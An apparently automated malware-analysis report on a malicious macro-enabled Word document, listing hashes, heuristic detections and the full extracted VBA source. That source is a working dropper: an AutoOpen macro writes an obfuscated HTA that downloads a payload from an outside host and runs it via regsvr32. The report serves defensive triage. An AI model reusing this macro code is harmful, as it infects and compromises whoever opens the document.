Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 af869e74e45bee92…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-03-24 04:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 155143beded88b91b2fa0e354d1de2ef SHA-1: 72ec834bde67386bec3ca0299514e288ae0e955f SHA-256: af869e74e45bee92e5d911bd8f661d86f5b3742173e2903c41e04e40bb2df69a
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set mainException = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set mainException = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4871 bytes
SHA-256: 12435cc899745d0a8c6e31cec7b2d352b6c2aeca0b47996eba2c3f905b7dfc0e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{8A8BC418-DF47-4D92-8663-80445811AB30}{9E517474-BE25-4884-BC24-D37BCB2872C5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set mainException = CreateObject("wscript.shell")
mainException.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "borderTmpRemove"
Sub autoopen()
refWindow
End Sub
Sub refWindow()
Dim referenceStruct As String
referenceStruct = frm.cmdButton1.caption
bufResponseStruct referenceStruct
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "constLeftGlobal"
Function listLib()
listLib = "<div id='content'>dmFyIHZhcmlhYmxlUHRyID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7dmFyaWFibGVQdHIub3BlbigiR0VUIiwgImh0dHA6Ly9jb3JvbmFiYWcxMjNxcS5jb20vZmR2ZGQvdjlVVlVvRGt2MDJUQnNiUjVKR1ZnZ0RqWjRDS0N6SnNaTHo4czdlMVBBaU91RVNML3h5dVdwcjFBNDZjSEJOL0NkbU"
End Function
Function ExClearRequest()
ExClearRequest = "ljengzVkNLSlYvSU00NXR6cnBaVGw4SVEwNkMxYUVjeDFDb1dobUZtY0owbnQzUzVqL3hhcjQ/aWQ9ckF0NklSUFppeGZrNEJrJnBhZ2U9YUoyYm1Kb2FaM2pwRnI4bCIsIGZhbHNlKTt2YXJpYWJsZVB0ci5zZW5kKCk7aWYodmFyaWFibGVQdHIuc3RhdHVzID09IDIwMCl7dmFyIGxlbk1haW4gPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZG"
End Function
Function trustRefResponse()
trustRefResponse = "Iuc3RyZWFtIik7bGVuTWFpbi5vcGVuO2xlbk1haW4udHlwZSA9IDE7bGVuTWFpbi53cml0ZSh2YXJpYWJsZVB0ci5yZXNwb25zZWJvZHkpO2xlbk1haW4uc2F2ZXRvZmlsZSgiYzpcXHVzZXJzXFxwdWJsaWNcXGNvbnN0UmVmLmpwZyIsIDIpO2xlbk1haW4uY2xvc2U7fQ==|fXspZXVsYVZiaWwoaGN0YWN9OykiYXRoLm5pYW1cXGNpbGJ1c"
End Function
Function documentBuffer()
documentBuffer = "Fxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLnRzaUxuZWVyY1NjbnVme3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHRzaUxuZWVyY1NjbnVmIHJhdjspImdwai5mZVJ0c25vY1xcY2lsYnVwXFxzcmVzdVxcOmMgMjNydnNnZXIiKG51ci4pImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd"
End Function
Function repoNextValue()
repoNextValue = "2Vu</div><div id='table'>0123456789+/</div><script language='javascript'>storageLoadException = window;repoRight = document;function rightListboxCount(bufDatabase){return(new ActiveXObject(bufDatabase));}function table(){var argumentCollection = 'ABCDEFGHI"
End Function
Function linkOption()
linkOption = "JKLMNOPQRSTUVWXYZ';var localCollectionProc = argumentCollection + argumentCollection.toLowerCase() + repoRight.getElementById('table').innerHTML;return(localCollectionProc);}function sizePtrValue(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; v"
End Function
Function structViewLen()
structViewLen = "ar sizeScreenSwap=''; var w=String.fromCharCode; var L=s.length;var titleWStruct = 'charAt';for(i=0;i<64;i++){e[table()[titleWStruct](i)]=i;}for(x=0;x<L;x++){c=e[s[titleWStruct](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(sizeScree"
End Function
Function leftEx()
leftEx = "nSwap+=w(a));}}return(sizeScreenSwap);};function lenIteratorMem(responseCountCaption){return responseCountCaption.split('').reverse().join('');}storageLoadException.resizeTo(1, 1);storageLoadException.moveTo(-100, -100);var convertStorageClear = repoRight."
End Function
Function memoryLenButton()
memoryLenButton = "getElementById('content').innerHTML;var convertStorageClear = convertStorageClear.split('|');var swapArgument = lenIteratorMem(sizePtrValue(convertStorageClear[0]));var swapArgument = lenIteratorMem(swapArgument);var deleteConvert = lenIteratorMem(sizePtrV"
End Function
Function databaseTitleTable()
databaseTitleTable = "alue(convertStorageClear[1]));</script><script language='javascript'>function procFunc(AProcedureIndex){var removeSelectBuf = rightListboxCount('msscriptcontrol.scriptcontrol');removeSelectBuf.Language = 'jscript';removeSelectBuf.Timeout = 60000;removeSele"
End Function
Function databaseButton()
databaseButton = "ctBuf.AddCode(AProcedureIndex);return(null);}</script><script language='vbscript'>procFunc swapArgument : procFunc deleteConvert : storageLoadException.close</script>"
End Function
Function namespaceProcButton()
namespaceProcButton = listLib + ExClearRequest + trustRefResponse + documentBuffer + repoNextValue + linkOption + structViewLen + leftEx + memoryLenButton + databaseTitleTable + databaseButton
End Function

Attribute VB_Name = "swapCopyView"
Sub bufResponseStruct(memoryArgumentMain As String)
Open memoryArgumentMain For Output As #1
Print #1, namespaceProcButton
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 6f3acba2f6e39efc292f9d50a034a987771ff060b6a55ba8d7e91c849e98edfe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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